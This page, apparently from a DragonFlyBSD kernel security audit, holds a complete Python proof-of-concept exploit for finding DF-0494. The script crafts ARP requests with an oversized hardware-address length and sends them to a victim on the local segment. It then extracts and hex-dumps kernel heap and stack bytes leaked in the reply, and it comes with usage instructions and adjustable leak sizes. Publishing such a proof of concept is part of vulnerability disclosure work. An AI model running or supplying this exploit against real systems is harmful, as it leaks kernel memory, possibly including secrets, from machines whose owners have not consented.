DragonFlyBSD Kernel Audit
DF-0494 / arp_heap_leak.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0494: ARP ar_hln/ar_pln kernel heap+stack memory disclosure PoC.

Sends a crafted ARP REQUEST with an oversized ar_hln to a victim on the same
L2 segment. The victim kernel copies ar_hln bytes from its 6-byte IF_LLADDR
into the ARP reply SHA field, leaking ~ar_hln-6 bytes of adjacent kernel heap.

The reply is transmitted to the attacker with the leaked bytes.

Usage:
    sudo python3 arp_heap_leak.py <victim-ip> [<interface>] [--hln N] [--pln N]

Requirements:
    - Python 3, scapy (pip install scapy)
    - Root (for raw socket)
    - Same L2 segment as victim

Example:
    sudo python3 arp_heap_leak.py 192.168.1.10 eth0 --hln 200
"""

import sys
import struct
import argparse

try:
    from scapy.all import Ether, ARP, conf, srp1, get_if_hwaddr, get_if_addr
except ImportError:
    print("[-] scapy not found. Install with: pip install scapy")
    sys.exit(1)


def craft_oversized_arp(victim_ip, src_mac, ar_hln=200, ar_pln=4):
    """
    Craft a raw ARP REQUEST with oversized ar_hln.

    Standard ARP for Ethernet/IPv4:
      ar_hln=6, ar_pln=4
      Total ARP payload: 8 (header) + 2*6 + 2*4 = 28 bytes

    Oversized ARP with ar_hln=200, ar_pln=4:
      Total ARP payload: 8 + 2*200 + 2*4 = 416 bytes

    The victim will copy 200 bytes from IF_LLADDR (6 valid) into ar_sha
    of the reply, leaking 194 bytes of kernel heap.
    """
    # Build the ARP packet manually with raw bytes
    ar_hrd = struct.pack("!H", 1)        # ARPHRD_ETHER
    ar_pro = struct.pack("!H", 0x0800)   # ETHERTYPE_IP
    ar_hln_byte = struct.pack("B", ar_hln)
    ar_pln_byte = struct.pack("B", ar_pln)
    ar_op = struct.pack("!H", 1)         # ARPOP_REQUEST

    # SHA: attacker's MAC (padded to ar_hln)
    sha = src_mac + b'\x41' * (ar_hln - len(src_mac))

    # SPA: attacker's IP (or any valid-looking IP, padded to ar_pln)
    import socket
    spa = socket.inet_aton("10.0.0.1")[:ar_pln].ljust(ar_pln, b'\x00')

    # THA: zeros (target hardware unknown), padded to ar_hln
    tha = b'\x00' * ar_hln

    # TPA: victim's IP (padded to ar_pln)
    tpa = socket.inet_aton(victim_ip)[:ar_pln].ljust(ar_pln, b'\x00')

    arp_payload = ar_hrd + ar_pro + ar_hln_byte + ar_pln_byte + ar_op
    arp_payload += sha + spa + tha + tpa

    return arp_payload


def parse_arp_reply(raw_reply, ar_hln, ar_pln):
    """Parse the oversized ARP reply to extract leaked bytes."""
    if raw_reply is None:
        return None

    # The ARP payload starts after the Ethernet header
    arp_data = raw_reply[14:] if len(raw_reply) > 14 else raw_reply

    if len(arp_data) < 8:
        return None

    # Parse header
    hrd, pro, hln, pln, op = struct.unpack("!HHBBH", arp_data[:8])

    if op != 2:  # ARPOP_REPLY
        print(f"[*] Not a reply (op={op}), ignoring")
        return None

    # Extract SHA (the leaked field)
    sha_offset = 8
    sha_data = arp_data[sha_offset:sha_offset + hln]

    # The first 6 bytes should be the victim's real MAC
    # Bytes after that are leaked kernel heap
    real_mac = sha_data[:6]
    leaked_heap = sha_data[6:]

    # Extract SPA (stack leak variant if ar_pln was oversized)
    spa_offset = sha_offset + hln
    spa_data = arp_data[spa_offset:spa_offset + pln]
    real_spa = spa_data[:4]
    leaked_stack = spa_data[4:]

    return {
        'real_mac': real_mac,
        'leaked_heap': leaked_heap,
        'leaked_stack': leaked_stack,
        'raw_sha': sha_data,
    }


def main():
    parser = argparse.ArgumentParser(
        description="DF-0494: ARP ar_hln kernel heap leak PoC"
    )
    parser.add_argument("victim_ip", help="Victim's IPv4 address")
    parser.add_argument("interface", nargs="?", default=None,
                        help="Network interface (auto-detect if omitted)")
    parser.add_argument("--hln", type=int, default=200,
                        help="ar_hln value (default 200, causes heap leak)")
    parser.add_argument("--pln", type=int, default=4,
                        help="ar_pln value (default 4; set >4 for stack leak)")
    parser.add_argument("--count", type=int, default=1,
                        help="Number of requests to send")
    args = parser.parse_args()

    if args.interface:
        iface = args.interface
    else:
        iface = conf.iface

    src_mac = bytes.fromhex(get_if_hwaddr(iface).replace(":", ""))

    print(f"[*] Interface: {iface}")
    print(f"[*] Source MAC: {src_mac.hex(':')}")
    print(f"[*] Victim IP: {args.victim_ip}")
    print(f"[*] ar_hln={args.hln}, ar_pln={args.pln}")
    print(f"[*] ARP payload size: {8 + 2*args.hln + 2*args.pln} bytes")
    print()

    for i in range(args.count):
        print(f"[*] Sending crafted ARP request #{i+1}...")
        arp_payload = craft_oversized_arp(args.victim_ip, src_mac,
                                          args.hln, args.pln)

        # Build Ethernet frame
        eth = Ether(dst="ff:ff:ff:ff:ff:ff", src=src_mac, type=0x0806)
        frame = bytes(eth) + arp_payload

        # Send and wait for reply
        from scapy.all import Raw, sendp, sniff
        import time

        # Use sendp + sniff for raw frames
        sendp(Raw(frame), iface=iface, verbose=0)

        # Sniff for reply
        replies = sniff(iface=iface, timeout=2,
                       filter=f"arp and src host {args.victim_ip}",
                       count=1)

        if replies:
            reply_raw = bytes(replies[0])
            result = parse_arp_reply(reply_raw, args.hln, args.pln)
            if result:
                print(f"[+] Got ARP reply ({len(reply_raw)} bytes)")
                mac_str = ':'.join(f'{b:02x}' for b in result['real_mac'])
                print(f"[+] Victim MAC (first 6 bytes): {mac_str}")

                if result['leaked_heap']:
                    print(f"[+] Leaked kernel heap ({len(result['leaked_heap'])} bytes):")
                    hex_dump(result['leaked_heap'])

                if result['leaked_stack']:
                    print(f"[+] Leaked kernel stack ({len(result['leaked_stack'])} bytes):")
                    hex_dump(result['leaked_stack'])
            else:
                print(f"[-] Got reply but could not parse")
        else:
            print(f"[-] No reply (timeout)")

        if i < args.count - 1:
            time.sleep(0.5)
        print()


def hex_dump(data, width=16):
    """Print a hex dump of data."""
    for i in range(0, len(data), width):
        chunk = data[i:i+width]
        hex_part = ' '.join(f'{b:02x}' for b in chunk)
        ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
        print(f"    {i:04x}: {hex_part:<{width*3}}  {ascii_part}")


if __name__ == "__main__":
    main()